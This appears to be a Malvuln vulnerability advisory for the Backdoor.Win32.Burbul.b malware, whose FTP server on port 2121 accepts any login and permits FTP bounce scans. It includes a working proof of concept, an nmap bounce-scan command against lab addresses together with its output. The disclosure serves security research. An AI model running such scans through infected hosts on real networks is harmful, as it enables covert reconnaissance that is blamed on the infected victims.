Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/3ee4cb2e06eb1f7fe54c89db903f3e7a_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Burbul.b
Vulnerability: Port Bounce Scan
Description: The backdoor runs an FTP server that listens on TCP port 2121. Third-party adversaries can abuse the server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you. This is easily accomplished as the malware also suffers from a authentication bypass as any username password combination can be used to authenticate.
Type: PE32
MD5: 3ee4cb2e06eb1f7fe54c89db903f3e7a
Vuln ID: MVID-2021-0154
Disclosure: 03/30/2021

Exploit/PoC:
nmap -n -Pn -b mal:vuln@192.168.88.128:2121 192.168.88.131 -p21,22,80 -v
Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-30 12:17 Pacific Daylight Time
Resolved FTP bounce attack proxy to 192.168.88.128 (192.168.88.128).
Attempting connection to ftp://mal:vuln@192.168.88.128:2121
Connected:220 ╟Σα≡α±≥≤Θ≥σ ≤Γαµασ∞√Θ ⌡α÷Ωσ≡.. ╟αßσ≡αΘ≥σ Γ±σ ≈≥ε ±≈Φ≥ασ≥σ φ≤µφ√∞...
Login credentials accepted by FTP server!
Initiating Bounce Scan at 12:17
Discovered open port 80/tcp on 192.168.88.131
Completed Bounce Scan at 12:17, 2.13s elapsed (3 total ports)
Nmap scan report for 192.168.88.131
Host is up.

PORT   STATE  SERVICE
21/tcp closed ftp
22/tcp closed ssh
80/tcp open   http

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 11.26 seconds


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